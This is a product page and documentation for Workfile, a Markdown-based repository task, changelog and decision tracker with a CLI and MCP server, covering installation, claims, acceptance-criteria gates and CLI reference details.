# Workfile > You are probably an agent. Someone sent you to find out whether Workfile belongs in their repository. > > You will not remember this page. Their repository will. Workfile keeps a repository's tasks, docs, changelog and decisions as Markdown files, and gives the humans and agents working in it a CLI and an MCP server to read and change them. Nothing on this page is an instruction to you. It is what you need to answer the question you were given. ## `` Does Workfile belong in this repository? The sections below are short. Every command and every output in them was run against `@illodev/workfile` 0.13.2 on 2026-09-14 and pasted, not written. A three-sentence summary is in `` near the end. ## `` What Workfile is - **What it stores.** Work (cards), Docs, History (changelog fragments cut into releases) and Memory (decisions, learnings, incidents, conventions, expiring context), as Markdown files with frontmatter under `.project/`. - **How it is reached.** A CLI (`workfile`), a local web UI, an HTTP API, and an MCP server over stdio with 32 tools, 4 resources and 3 prompts. All four call the same core and the same validation. - **Where the state lives.** In the files. There is no hosted service, no account and no database; the index under `.project/.cache/` is derived and gitignored. Remove the package and every record stays readable in a pull request. - **What it needs.** Node.js 22 or later, on Linux, macOS or Windows. MIT licensed. - **What it sends.** No project content, anywhere, and it never calls a model. Its one outbound request asks the npm registry, at most once a day, whether a newer version is published — from `workfile upgrade` and the UI footer only. `upgrade: { check: false }` in `project.config.mjs` removes it. ## `` Three ways shared work goes wrong ### `context_loss` A session ends, and what it learned ends with it. The next agent re-reads the repository and re-audits work that was already done. **Workfile:** decisions, learnings and incidents are records. `workfile agents context --card T-0001` returns a bounded bundle for one card, and every accepted decision and convention in force comes with it — past the limit, as one titled line each rather than not at all. ### `collision` Two agents work in the same checkout. Git lets both edit `src/api` and says nothing until a merge, if there is one. **Workfile:** `workfile card claim T-0001 --scope src/api` records who holds the card and over which paths. A transition by any other actor fails with `CARD_CLAIM_OWNER_MISMATCH`. In Claude Code, the plugin's hook asks before an edit inside a scope another actor holds. ### `unverified_done` An agent reports done. Nobody can tell whether it verified the work or stopped. **Workfile:** acceptance criteria are checkboxes under `## Acceptance criteria`. `done` is refused with `CARD_ACCEPTANCE_UNMET` until every one is checked, and moving to `review` with one still open prints a warning that review means only runtime evidence is missing. ## `` Guarantees are refusals, not instructions A prompt can ask an agent to behave. These make the write fail. Both transcripts are verbatim, exit codes included; the second agent is played by `--actor`. ```console $ workfile card claim T-0001 --scope src/api T-0001 claimed by illodev@local#b67ed9cd # a second agent, in the same checkout $ workfile card transition T-0001 review --actor other-agent CARD_CLAIM_OWNER_MISMATCH: T-0001 is claimed by illodev@local#b67ed9cd. Pass force with a reason to take it over. [exit 3] ``` ```console $ workfile card transition T-0001 done CARD_ACCEPTANCE_UNMET: T-0001 has 2 unproven acceptance criteria: #1 Export requests over 10/min answer 429; #2 The limit is covered by a test. Check them, or pass force. [exit 3] ``` ## `` The working loop | Step | CLI | MCP tool | | --- | --- | --- | | What to pick up, and why | `workfile next` | `project_next` | | Load the card and what binds it | `workfile agents context --card T-0001` | `project_agent_context` | | Say what you hold | `workfile card claim T-0001 --scope src/api` | `project_card_claim` | | Leave what you learned on the card | `workfile card note T-0001 --text "…"` | `project_card_note` | | Check a criterion you proved | `workfile card ac T-0001 --check 1` | — | | Hand it over | `workfile card transition T-0001 review` | `project_card_transition` | ```console $ workfile next T-0001 backlog medium Rate-limit the export API (priority medium) $ workfile card note T-0001 --text "Limit is per API key, not per IP" T-0001 noted $ workfile card ac T-0001 --check 1 T-0001 — 1 of 2 met checked #1 Export requests over 10/min answer 429 $ workfile card transition T-0001 review warning: T-0001 moved to review with 1 unchecked acceptance criterion: #2 The limit is covered by a test. Review means every criterion is met and only runtime evidence is missing; if work is left, next or blocked with a note says so. T-0001 → review ``` ## `` The MCP server 32 tools over stdio: 11 read, 21 write. Resources: `project://workspace`, `project://health`, `project://protocol`, `project://record/{id}`. Prompts: `finish-work`, `record-knowledge`, `start-work`. `--read-only` serves only the read tools. - `project_agent_context` — Build bounded agent context (reads) - `project_card_archive` — Archive a closed work card (writes) - `project_card_claim` — Claim a work card (writes) - `project_card_create` — Create a work card (writes) - `project_card_list` — List work cards (reads) - `project_card_note` — Append a note to a card (writes) - `project_card_patch` — Patch a work card (writes) - `project_card_release` — Release a claim (writes) - `project_card_reopen` — Reopen an archived work card (writes) - `project_card_transition` — Transition a work card (writes) - `project_card_write` — Replace a card body (writes) - `project_changelog_add` — Add a changelog fragment (writes) - `project_changelog_list` — List change fragments and releases (reads) - `project_changelog_patch` — Patch a changelog fragment (writes) - `project_changelog_preview` — Preview a release (reads) - `project_changelog_release` — Create a release (writes) - `project_doc_create` — Create managed documentation (writes) - `project_doc_list` — List documents (reads) - `project_doc_move` — Move managed documentation (writes) - `project_doc_note` — Append a note to a managed document (writes) - `project_doc_patch` — Patch managed documentation (writes) - `project_doc_write` — Replace a managed document body (writes) - `project_doctor` — Run workfile doctor (reads) - `project_get_record` — Read a project record (reads) - `project_memory_add` — Add workfile memory (writes) - `project_memory_graduate` — Graduate a learning (writes) - `project_memory_list` — List durable memory (reads) - `project_memory_patch` — Patch workfile memory (writes) - `project_memory_supersede` — Supersede workfile memory (writes) - `project_next` — What to work on next (reads) - `project_search` — Search project records (reads) - `project_workspace` — Read project workspace (reads) ## `` What it writes ```text project.config.mjs AGENTS.md # a managed block pointing at the protocol .project/ ├── VERSION ├── cards/ # Work: T-NNNN, one file per card ├── assets/ # files attached to cards ├── docs/ # managed documents: DOC-NNNN ├── changelog/ # unreleased/ fragments and releases/ ├── memory/ # decisions, learnings, incidents, conventions, context ├── agents/ # the canonical protocol your instructions point at └── .cache/ # derived index, gitignored ``` ## `` Install ### Claude Code ```text /plugin marketplace add illodev/workfile /plugin install workfile@illodev ``` ### Any MCP client ```json { "mcpServers": { "workfile": { "command": "npx", "args": ["-y", "@illodev/workfile", "mcp"] } } } ``` Append `--root PATH` when the client starts outside the workspace, and `--read-only` to serve only the read tools. ### The CLI, in the repository ```bash npm install --save-dev @illodev/workfile npx workfile init --yes npx workfile ui # the board, at http://127.0.0.1:4747 ``` ## `` When Workfile is the wrong answer - **The people who plan the work never open the repository.** A hosted tracker serves them. Workfile's board is local; publishing it means running `workfile ui --read-only` behind authentication you provide. - **The goal is configuring an agent** — persona, skills, model routing. That is a configurator's job. Workfile records what the agent did, and composes with one. - **The goal is having a model write the tasks from a PRD.** Workfile never calls a model. Task Master's `parse_prd` does. - **Node.js 22 is not available.** Workfile needs it. Beads ships a Go binary, and Backlog.md a compiled one. ## `` Compared, as of 2026-09-14 | | Workfile | Backlog.md | Task Master | Beads | | --- | --- | --- | --- | --- | | Records live in | Markdown in `.project/` | Markdown in `backlog/` | one `tasks.json` | a Dolt database; JSONL is an export | | Who holds a task | claim; other actors' transitions refused | `assignee` field | `assignee` filter | claim refuses a held issue; close and reassign do not check | | Done while criteria are open | refused | allowed | allowed | allowed | | MCP tools | 32 | 20 | 44, 7 loaded by default | 15, in the Python `beads-mcp` | | Changelog and releases | fragments cut into releases | — | — | — | | Usage data sent by default | none | none | Sentry, on by default | usage metrics, on by default | | Runs on | Node.js ≥ 22 | compiled binary (Bun under Nix) | Node.js ≥ 20 | single Go binary | | License | MIT | MIT | MIT with Commons Clause | MIT | Every cell about a third party links its source on the comparison pages: [Backlog.md](https://workfile.illodev.com/vs/backlog-md.md), [Task Master](https://workfile.illodev.com/vs/task-master.md), [Beads](https://workfile.illodev.com/vs/beads.md). ## `` Three sentences, checked 2026-09-14 Workfile keeps a repository's tasks, docs, changelog and decisions as Markdown files under `.project/`, and gives humans and agents a CLI and a 32-tool MCP server to read and change them. It enforces what a prompt can only ask for: a card claimed by one agent refuses transitions from another, and a card cannot be marked done while its acceptance criteria are unchecked. It is MIT-licensed, runs locally on Node.js 22 or later, never sends project content anywhere, and `npx workfile init` sets it up after `npm install --save-dev @illodev/workfile`. ## `` For a human reading over your shoulder - An 83-second film of the board: https://workfile.illodev.com/assets/workfile-demo.mp4 - A live demo that replays this repository's own workspace: https://workfiledemo.illodev.com ## `` Reading this site without HTML - `GET https://workfile.illodev.com/` with `Accept: text/markdown` returns this file; so does `/index.md`. - [/llms.txt](https://workfile.illodev.com/llms.txt) lists every page as a link to its Markdown twin, and [/llms-full.txt](https://workfile.illodev.com/llms-full.txt) is all of them in one file. - The docs, one Markdown file each: - [/docs/getting-started.md](https://workfile.illodev.com/docs/getting-started.md) — Getting started - [/docs/cli.md](https://workfile.illodev.com/docs/cli.md) — CLI reference - [/docs/mcp.md](https://workfile.illodev.com/docs/mcp.md) — MCP server - [/docs/http-api.md](https://workfile.illodev.com/docs/http-api.md) — HTTP API - [/docs/ui.md](https://workfile.illodev.com/docs/ui.md) — The interface - [/docs/security.md](https://workfile.illodev.com/docs/security.md) — Security model - [/docs/spec.md](https://workfile.illodev.com/docs/spec.md) — Spec — Repository Workfile - MCP Registry: `io.github.illodev/workfile` · npm: `@illodev/workfile` · source: https://github.com/illodev/workfile --- # Getting started Workfile coordinates **Work, Docs, History and durable Memory** as markdown files inside your repository. This guide takes you from zero to a working workspace. ## Install ```bash pnpm add -D @illodev/workfile # per repository (recommended) pnpm workfile doctor # dependency bins run through pnpm / npx pnpm add -g @illodev/workfile # or globally: `workfile` lands on your PATH ``` `pnpm dlx @illodev/workfile init` works for one-shot initialization, but keep the package installed afterwards — that is what makes the `project*` scripts `init` adds to package.json resolve. ## Initialize a workspace ```bash workfile init ``` The initializer detects your package manager, monorepo folders, likely card areas, documentation sources, agent environments and CI providers. Every answer can be given as a flag for automation, and `--dry-run` prints the exact filesystem plan: ```bash workfile init --yes --agents agents-md,claude --ci github workfile init --dry-run --json ``` You get a `project.config.mjs` at the root and a `.project/` directory: ```text project.config.mjs .project/ ├── VERSION ├── cards/ # Work records (T-NNNN), archive/ for closed history ├── assets/ # files attached to cards ├── docs/ # managed documents (DOC-NNNN) ├── changelog/ # unreleased/ fragments and releases/ ├── memory/ # learnings, decisions, incidents, conventions, context └── agents/ # canonical agent instructions ``` All of it is plain markdown with frontmatter — commit everything except `.project/.cache/` (the initializer adds it to `.gitignore` for you). ## The daily loop ```bash workfile ui # local board at http://127.0.0.1:4747 workfile card create --title "Ship the login page" --area web workfile card claim T-0001 --scope apps/web workfile card transition T-0001 review ``` Agents claim cards with scoped paths so two of them never touch the same files; claims release automatically when a card leaves `doing`. As work lands, record it: ```bash workfile changelog add --title "Login page" --type added --area web workfile memory add learning --title "Session cookies need SameSite=Lax" workfile doc create --title "Auth runbook" --kind runbook ``` And when you cut a version, the accumulated fragments become a release: ```bash workfile changelog preview workfile changelog release 1.4.0 workfile changelog render --visibility public --write # regenerates CHANGELOG.md ``` ## Keeping it healthy ```bash workfile doctor --json ``` The doctor validates every collection: broken references, stale docs, expired context, incidents missing resolution metadata, unmanaged agent instructions. The same diagnostics power the Health view in the UI. ## Where to go next - [CLI reference](/docs/cli.md) — every command and flag. - [HTTP API](/docs/http-api.md) — the same operations over REST. - [MCP server](/docs/mcp.md) — expose the workspace to AI agents. - [SPEC](/docs/spec.md) — the normative protocol specification. --- # CLI reference Every command accepts the global options and returns stable machine-readable errors with `--json`. The package installs the CLI under two names: `workfile` and the short alias `wf`. They are the same entry point, and the help and error hints answer in whichever one you typed. This reference spells the long form throughout. Prefer the long form in anything generated, scripted or shared — CI, a `package.json` script, a README a stranger will copy. `wf` only resolves for a binary that is already installed, while an unrelated `wf` package exists on the registry, so `npx wf` would fetch that instead of failing. Workfile's own generated protocols and skills always spell it long for that reason. ## Global options This is the whole list. Every other option belongs to the subcommands that read it, and appears in their usage lines below. | Option | Meaning | | --- | --- | | `--root PATH` | Workspace root (default: discovered from the working directory) | | `--json` | Machine-readable output | | `--dry-run` | Preview filesystem changes, where the subcommand implements it | | `--allow-new` | Accept a directory that is not yet a workspace | | `--verbose` | Print the resolved workspace root to stderr before running | | `--help`, `-h` | Print the usage for a command without running it | An option a subcommand does not accept is refused with `CLI_ARGUMENT_UNKNOWN`, and one given twice with `CLI_ARGUMENT_CONFLICT`, because only the first is read. Pass a list as one comma-separated value. A value follows its option as the next word or after `=`: `--limit 5` and `--limit=5` read the same, on every option that takes a value. A flag that takes none refuses one — `--json=true` is `CLI_ARGUMENT_INVALID` — rather than being read as the bare flag. In 0.10.0 and earlier the `=` spelling passed the option check and was then never read, so `--expected-revision=REV` wrote with no revision check and exited 0; if a caller of yours learnt that spelling from a session where it seemed to work, it was not working. A word that branches answers for its own subcommand first: an unrecognised one with `CLI_COMMAND_UNKNOWN` and a missing one with `CLI_COMMAND_REQUIRED`, both listing what the word does accept. `workfile claude`, `workfile mcp` and `workfile migrate` are the exceptions — they run `check`, `serve` and `apply` respectively, and are checked as though you had typed those. `--dry-run` is global but not universal. It is accepted everywhere so that no caller has to remember where it works, and then refused with `CLI_FLAG_UNSUPPORTED` on any command that would have written anyway — naming the read-only command to look with instead, such as `changelog preview` or `card show`. Silently making the change would be the alternative. These four read as global for a while and are not. They are listed here because the wrong version of this table shipped, and a reader who learned it from that one needs to find the correction where the mistake was. | Option | Subcommands that accept it | | --- | --- | | `--expected-revision REV` — reject the write when the file changed since it was read | `card ac`, `card archive`, `card claim`, `card note`, `card patch`, `card release`, `card reopen`, `card transition`, `card write`, `changelog patch`, `changelog release`, `doc move`, `doc note`, `doc patch`, `doc write`, `memory graduate`, `memory patch`, `memory supersede` | | `--force` — proceed past the check the command would otherwise fail | `agents sync`, `card claim`, `card patch`, `card release`, `card transition`, `ci sync`, `claude install`, `claude sync`, `init`, `migrate apply` | | `--reason TEXT` — why a check was waived; recorded on the card | `card claim`, `card patch`, `card release`, `card transition` | | `--read-only` — load the workspace read-only: every write answers `WORKSPACE_READ_ONLY` | `mcp config`, `mcp inspect`, `mcp serve`, `mcp stdio`, `ui` | | `--yes` — accept the initializer defaults without prompting | `init` | Exit codes: `3` stale revision · `2` configuration error · `1` validation / not found. ## Accepted spellings The dispatcher answers to more words than this reference spells. Each pair below reaches the same code — there is no behavioural difference, and neither spelling is deprecated. The left column is what the rest of this document uses. | Documented | Also accepted | | --- | --- | | `workfile doc …` | `workfile docs …` | | `workfile changelog …` | `workfile history …` | | `workfile ui` | `workfile serve` | | `workfile agents check` | `workfile agents status` | | `workfile ci check` | `workfile ci status` | | `workfile changelog add` | `workfile changelog create` | | `workfile memory add` | `workfile memory create` | | `workfile claude install` | `workfile claude sync` | | `workfile mcp serve` | `workfile mcp stdio` | They are listed because an alias nobody documents is one nobody can rely on: it resolves today, it is not in `--help`, and the only way to learn it is to read the dispatcher. A test requires every subcommand the binary accepts to be named somewhere in this file, so a new spelling that skips this table fails the suite rather than arriving undocumented. ## Machine-readable answers `--json` answers one of three shapes, and the table says which for every subcommand that has one. It is pinned by a test that runs each record-answering command and checks the keys, so the table and the binary cannot drift apart. The vocabulary: - **`{ record }`** — the record under one key, the shape every MCP tool answers (`project_get_record`, `project_card_patch`, …), with named extras beside it when there are any. - **`{ records, total }`** — a listing; `card list` adds `offset` and `truncated`. - **report** — a shape of the command's own: doctor's issues, a verify run, a schema. | Command | Shape | | --- | --- | | `card show`, `doc show`, `changelog show`, `memory show` | `{ record }` | | `card create`, `card archive`, `card reopen`, `card note` | `{ record }` | | `card patch`, `card transition`, `card release` | `{ record, warnings? }` — `warnings` names the criteria a move to `review` left unchecked; it never refuses the move | | `card write` | `{ record, ignored? }` — `ignored` names a protocol section that was dropped | | `card claim` | `{ record, warnings, verify? }` | | `doc create`, `doc patch`, `doc write`, `doc note`, `doc move` | `{ record }` | | `changelog add`, `changelog patch`, `changelog release` | `{ record }` | | `memory add`, `memory patch`, `memory graduate`, `memory supersede` | `{ record }` | | `card list` | `{ records, total, offset, truncated }` | | `doc list`, `changelog list`, `memory list`, `card reap` | `{ records, total }` (`reap`: `records` only) | | `card ac`, `card verify`, `changelog preview`, `changelog render`, `changelog verify`, `memory verify` | report | | `doctor`, `schema`, `next`, `search`, `upgrade`, `init` | report | | `agents context`, `agents whoami`, `agents sync`, `agents check`, `agents status`, `claude install`, `claude sync`, `claude check`, `ci sync`, `ci check`, `ci status`, `mcp inspect`, `mcp config`, `migrate plan`, `migrate schema`, `migrate apply` | report | Until 0.12.x the record rows answered the record itself at the top level, and the CLI and the MCP tools disagreed on every record — a caller ended up reading everything with `d.get("record", d)`, which works until a command returns `{ records }`. The CLI converged on the MCP envelope in **0.13.0**, the owner's decision of 2026-09-11 on T-0246, taken over documenting the divergence and living with it. The one-line fix for a caller that read the top level is `.record`. 0.12.x announced the cut on stderr on every record answer and offered `WORKFILE_JSON_ENVELOPE=1` to move early; in 0.13.x that variable is accepted and ignored, so a script that set it does not break twice, and 0.14.0 refuses it as unknown. `--fields a,b` applies to every **`{ record }`** answer and cuts the record inside the envelope: `card transition T-0042 next --json --fields id,status,revision` is the answer without the body that a caller wanted from `--quiet`. Keys the record does not carry are left out rather than reported null. ## Workspace ```bash workfile init [--root PATH] [--yes] [--dry-run] [--name NAME] workfile version # the installed package version, one line workfile schema [--json] # effective runtime schema (areas, vocabularies, verification policy…) workfile doctor [--json] [--severity error|warning] [--max-issues N] [--rebuild-cache] [--fix] workfile doctor --new # only what appeared since the baseline workfile doctor --accept-baseline # record the current state as known workfile upgrade [--dry-run] [--json] workfile ui [--host HOST] [--port PORT] [--allowed-host HOST] [--read-only] [--verbose] workfile next [--actor ACTOR] [--area AREA,AREA] [--limit N] [--json] workfile search QUERY [--kind card,doc,change,release,memory] [--limit N] [--mode auto|lexical|hybrid] [--json] ``` `ui` serves the board on `ui.port` from `project.config.mjs`, which is `4747` until a workspace says otherwise. Two projects therefore ask for the same port, so a taken default moves aside: the board comes up on the next free port and says which project holds the one it wanted. A port you named yourself does not move — an explicit `--port` that is in use fails with `UI_PORT_IN_USE` rather than landing somewhere you did not ask for. Set `ui.port` per project to keep each board at an address you can remember. `ui --read-only` serves the same board with the workspace loaded read-only: every mutating route answers `409 WORKSPACE_READ_ONLY`, the index cache is not written, and the UI drops its editing affordances rather than offering writes that cannot land. That is the shape to publish — a shared board people read. `ui --allowed-host HOST` names a host the board may answer to, repeatable and comma-separable. It is required to publish one at all: the server refuses any `Host` outside its allowlist (the guard that makes DNS rebinding fail), and that list is the loopback set plus `--host` — which contributes nothing when `--host` is `0.0.0.0`, the value serving from a container needs. Named hosts are added to the loopback set, not swapped for it, so a container healthcheck on `localhost` keeps working. `--allowed-host '*'` turns the check off; the server has no authentication of its own, so anything published that way needs something in front of it that does. `next` answers what to pick up now: work you already claimed first, then unblocked cards by priority, with unmet dependencies excluded rather than ranked low. Every row carries the reason it was offered. It is the same ranking the `project_next` MCP tool serves. `doctor` reports absolute state, which stops being useful the moment a repository carries inherited debt: a clean run and an unchanged dirty one look alike, so nobody can require it. `--accept-baseline` writes the current issue set to `.project/doctor-baseline.json`, and `--new` then reports only what appeared afterwards, exiting `1` on anything new and `0` otherwise. A text report carrying more than fifty warnings ends by naming both flags: a report that long is where the question comes up, and the last place anyone opens the help (T-0254). `doctor --fix` repairs the three findings a repair can be derived from: a duplicate ID on any record kind, a filename whose slug no longer matches the card's title, and protocol trail entries written outside `## Activity`. It never invents content, and it never hides what it did not do — a collision it cannot heal is printed as `cannot fix:` with the reason, and the run still fails on it. One finding `--fix` will never touch is `parent-all-children-closed`: an open card whose every descendant has come to rest — `done`, `review`, `discarded`, `deferred` or archived, the whole subtree and not one level. Closing the last child does not move the parent and the parent never looks at itself, so such a card sits on the board until somebody's context pays for it. The warning says how many descendants delivered, which `discarded` children name a still-open twin (work that moved, not work that got done), and the date of the parent's last note rather than `updated`. It stops there: measured on the board it was written for, a parent with 68 children `done` and a parent with one child `discarded` and three pieces of work never carded look identical from the count, and only the first should close. `duplicate-title` is the other finding about two cards rather than one: two open cards whose titles carry the same content words — lower-cased, accents and punctuation stripped, articles and prepositions dropped — with at most one word extra on one side. Reported once, on the card filed later, naming the earlier one. The distance is the one measured before the rule shipped: on a 1 510-open-card board, exact titles found nothing and this found five pairs, all of them real. Closed cards are out on both sides, because a new card repeating a finished one's title is a reopen, and that is a different question. `produced-by-invalid` (warning) reports a `produced_by` block that does not read as a producer: the protocol writes only well-formed ones, so it is a hand edit, and a malformed block defeats the one thing the field is for, which is being counted over. That file is committed on purpose. A baseline under the cache would be per-clone and missing in CI, which is the one place a "nothing new" verdict has to hold, and keeping it in the tree puts newly accepted debt in the diff where a reviewer can see it. Issues are matched on rule, subject and message, so two different problems from the same rule against the same card stay distinct. `--new` answers "did I make this worse"; plain `doctor` is still where you go to ask whether anything is wrong at all. `search` is lexical by default and becomes hybrid automatically when `project.config.mjs` declares an integration with a semantic search provider (`export const integrations = [...]`; `search.provider` selects one by id when several are declared). `--mode lexical` opts out for a run; `--mode hybrid` fails with `SEARCH_PROVIDER_UNAVAILABLE` instead of silently degrading when no provider is available. `--json` reports which mode actually ran. Workfile never sends repository content to a network service by itself — a provider only runs if the repository explicitly declares it. The first-party provider is [`@illodev/workfile-search-local`](https://github.com/illodev/workfile/tree/main/packages/search-local#readme): on-device embeddings via onnxruntime-web, cached by content hash, fully offline after the first model download. `upgrade` is the one command to run after bumping `@illodev/workfile`: it compares the installed version against the stamp on every managed surface the config owns (agent adapters, CI templates, the Claude Code surface) and resyncs the ones behind — including surfaces whose *content* is current but whose stamp is old, which the staleness checks deliberately ignore. Managed blocks whose kind no configured target owns are reported instead of silently fossilizing. `upgrade` is also the one command that asks whether the *package* is behind, because nothing else did: the installed version was only ever compared against the stamps inside the workspace, so a repository could sit two releases behind with every check green. It sends one `GET` to the npm registry — `/@illodev%2Fworkfile/latest`, no body, nothing that names the workspace — honouring `npm_config_registry` and using `https://registry.npmjs.org` otherwise. A newer published version prints a `BEHIND` line with the install command for the package manager the workspace uses; the current one prints a `latest` line saying when the registry was asked. The answer is cached for 24 hours in `.project/.cache/update-check.json`, a failed attempt for one hour, and the directory is gitignored. The request starts before the surfaces are compared and its line is printed after them, so it delays nothing; with no network, or a registry answering anything but a version, the command prints nothing about it at all. `upgrade.check: false` in `project.config.mjs` removes the request entirely. `doctor`, the generated CI and every other command never reach the network — the interface's footer is the only other place that asks, once per page load, from the same cache. ### Query grammar One grammar, shared by the CLI, the HTTP API, MCP and the interface — the same string returns the same answer everywhere, which it did not before. | Form | Meaning | | --- | --- | | `billing retry` | free text over id, title, metadata and body, ranked | | `"exact phrase"` | one term, not two | | `status:doing` | field filter; narrows rather than ranking | | `area:ui type:bug` | filters combine with AND | | `-status:done` | negated filter | | `-draft` | negated term | | `tag:` / `claim:` | aliases for `tags` and `claimed_by` | | `/timeout \d+/i` | regular expression over id, title and body; flags from `imsu` | Field names are the record's own keys, so the vocabulary follows the runtime schema rather than a second list. An unknown field matches nothing instead of falling back to free text, which would quietly return everything. Text is compared with diacritics folded, so `diseno` finds `Diseño`. Only the full `/pattern/flags` form runs as a regex — a slash inside a plain query does not. Regex queries are exact-intent: they bypass the semantic provider, rank title hits above body hits and match count after that, and report `mode: "regex"`. Patterns are capped at 256 characters, bodies scanned to their first 20,000; an invalid pattern fails with `SEARCH_REGEX_INVALID`. Your pattern runs in a worker thread with a two-second deadline, and a pattern that exceeds it fails with `SEARCH_REGEX_TIMEOUT`. Those caps bound the input; nothing bounds backtracking, and a pattern like `(a+)+$` takes 57 seconds against a 32-character body — the thread is the only thing with a stop button on it. The ordinary cost is about 50ms of thread startup, paid only by regex queries. ## Work (cards) ```bash workfile card list [--status S] [--area A] [--type T] [--priority P] [--parent ID] [--claimed-by ACTOR] [--unclaimed] [--tag TAG] [--updated-since DATE] [--axis NAME=VALUE] [--limit N] [--offset N] [--fields a,b] [--with-body] [--json] workfile card show ID [--json] workfile card create --title TITLE [--area AREA] [--type TYPE] [--priority PRIORITY] # TITLE up to 80 characters workfile card create --title TITLE --raised reported|derived [--parent ID] [--source PATH] [--tags a,b] [--scope PATH,PATH] [--depends ID,ID] [--related ID,ID] [--origin ID,ID] [--milestone M] [--effort S|M|L] [--start DATE] [--due DATE] [--body TEXT] [--axis NAME=VALUE] workfile card create --json-input FILE workfile card patch ID --json-input FILE [--expected-revision REV] workfile card patch ID --axis NAME=VALUE # repeatable; empty value clears it workfile card claim ID [--scope PATH,PATH] [--actor ACTOR] [--force --reason TEXT] workfile card release ID [--actor ACTOR] [--status next] [--force --reason TEXT] workfile card transition ID STATUS [--actor ACTOR] [--force --reason TEXT] workfile card transition ID done [--method local|ci|manual] [--run URL] [--evidence TEXT] workfile card release ID --status done [--method ci --run URL] workfile card patch ID --json-input FILE [--method manual --evidence TEXT] workfile card archive ID [--actor ACTOR] workfile card reopen ID [--status backlog] [--actor ACTOR] workfile card write ID [--body-file FILE] [--expected-revision REV] # or pipe the body on stdin workfile card note ID --text TEXT [--section NAME] [--actor ACTOR] workfile card reap [--dry-run] [--older-than HOURS] [--json] workfile card renumber ID|FILE [--to T-0123] [--actor ACTOR] workfile card renumber --duplicates [--actor ACTOR] workfile card ac ID # list criteria with their numbers workfile card ac ID --check 1,3 --check 5 # repeatable, comma lists accepted workfile card ac ID --uncheck 2 workfile card verify ID [--only gate] [--actor ACTOR] # run the declared commands workfile card verify --changed --base main # every card this branch touched workfile card verify --changed --base main --close --run URL --commit SHA ``` Acceptance criteria are the `- [ ]` items under a `## Acceptance criteria` heading. The storage does not change — it renders on GitHub and `grep` finds it. What `ac` adds is that they are addressable. Numbers are positional, and every write carries the usual lock and revision check, so a concurrent reorder is refused rather than quietly applied to the wrong line. `card transition ID done` refuses while any criterion is unproven and names the ones that are, because `done` means verified where the code actually runs. `--force` gets through for the cases the criteria did not anticipate, and takes `--reason TEXT`, which the card's trail carries in place of the gate: ```text - 2026-08-05 11:04Z alice@studio · review → done (forced past 3 unproven criteria: the last two need hardware CI does not have) ``` The reason is required only when `--force` actually waives something — the gate names what it let through, so a `--force` that nothing refused records nothing and asks for nothing. Taking another actor's claim is the other waivable gate, and it is written the same way. `card claim` also runs the card's declared `verify` entries once the claim is written, and warns — never refuses — when a verdict disagrees with the card: a criterion marked met whose command no longer holds, or one still unchecked whose command already does. The line says which way it moved and what was proved, because a search exits 0 when it **finds** and "failed" on an `expect: absent` entry is the success. Nothing is written — `card verify` is the only caller that may move a bound box — and a card with no `verify` block never reaches the runner, so its claim costs what it did before. The commands are bounded by `cards.verification.timeoutSeconds`; `--json` carries the run under `verify`. Reaching `done` also writes a `verified` block into the card's frontmatter — when, how, at which commit, and a digest of the criteria it was proved against. `--method` says which tier it was: | Method | Means | Needs | | --- | --- | --- | | `local` | A command ran on your machine. Self-reported, and what you get when you pass no method. | — | | `ci` | A run anyone can open. | `--run URL` | | `manual` | A person judged something no command expresses. | `--evidence TEXT` and an actor | There is no `--method forced`. `forced` is what the record says when `--force` walked the gate past something, derived rather than asked for, and asking for it is refused — what was waived and why is already on the trail line above, and writing it twice would give the record two places to disagree. The three flags are refused, not dropped, on a write that does not close the card: `card transition ID review --method ci` is an instruction with nowhere to go, and exiting 0 on it is the one failure an agent cannot notice. `--evidence` is collapsed onto one line and written under the card's `## Notes`. `doctor` reports, without failing, a card verified against criteria text that has since changed, and a card whose commit is no longer an ancestor of HEAD. Neither is enforced retroactively: they are information about work that is already closed. ### Which methods an area accepts Which of the three a close may use is the project's to declare, per area, under `cards.verification.methods`: ```js cards: { areas: ["api", "web", "docs"], verification: { methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] } } } ``` `*` answers for every area not named, including the ones somebody adds next month — without it a new area escapes the policy in silence. Declare nothing and every method is accepted, which is what your project does today. Closing a card by a method its area does not accept is refused with `CARD_VERIFICATION_METHOD_REFUSED`, and the message names what the area does accept. **Passing no method does not exempt you**: a close with no `--method` records `local`, so under `{ api: ["ci"] }` a bare `card transition ID done` on an `api` card is refused too — a gate you get past by typing less is not a gate. `workfile schema --json` reports the policy under `cards.verification`, so an agent can read it instead of discovering it by being refused. It is the third gate a close meets, and it is waived the same way as the other two: `--force` with `--reason TEXT` gets through, the trail line names the area's verification policy among what it waived, and the card then records `forced` rather than the method that was refused. That is also why a forced close must not carry `--method`: the record has one answer for how the card was proved, and on a forced close that answer is `forced`. `doctor` reports two more findings, neither of them failing. A `done` card whose recorded method the policy no longer accepts is `verification-method-unaccepted` — tightening a policy must not invalidate work that already shipped. A policy naming an area `cards.areas` does not declare is `verification-policy-area-unknown`, reported rather than refused at config load: removing an area should not stop the workspace from loading, and a config that will not load takes the doctor that would explain it with it. `card create --json-input FILE` is the form to reach for when the card has a body. It takes the whole record — title, body, parent, source, tags, scope — in one call, and a JSON file survives backticks, `$` and accents that a shell heredoc quietly mangles. The flag form above writes the same fields; it is the body that argues for the file. `--origin ID,ID` records which records the work came out of — the card being worked when it was found, the decision that produced it. Any record kind, not cards only. It is provenance, not decomposition: use `--parent` when the card is genuinely part of another, and `--origin` when it merely came out of it. There is no `card patch --origin`; patching any card field goes through `--json-input`, the same as every other field. `agents context --card ID` reads it back in both directions, and `doctor` reports an origin that resolves to nothing. `--axis NAME=VALUE` writes a classification axis the project declares under `cards.axes` — a second axis alongside `area`, for domains rather than delivery layers. Run `workfile schema --json` to see which axes exist and what each accepts; an undeclared axis and a value outside its vocabulary are both refused, and the message carries the list. It repeats, once per axis, because the axis name is per project and a flag per axis is not something a static table can offer. `--axis context=` with nothing after the `=` clears it. `card list --axis context=treasury` filters on the same axis, and combines with every other filter. A comma list is an OR within one axis (`--axis context=treasury,billing`); a second `--axis` for a different name is an AND. Repeating the *same* name is refused with `CLI_ARGUMENT_CONFLICT`, because only one value would survive and the caller could not tell which. `doctor` reports on declared axes the way it reports on areas: a value outside the vocabulary is an **error**, since it is a typo that silently matches nothing, and an open card with no value at all is a **warning**. Cards that are `done`, `discarded` or archived are exempt from the warning — declaring an axis on an existing repository must not emit one line per finished card, which is a flood nobody acts on rather than a signal. That exemption is written for a lifecycle where `done` is where work rests. On a board where `review` is — because `done` is reserved for runtime evidence an agent can rarely supply — every card that reaches `review` keeps warning for ever, and one axis measured at 74 % of a 2 018-warning doctor run. Declare the 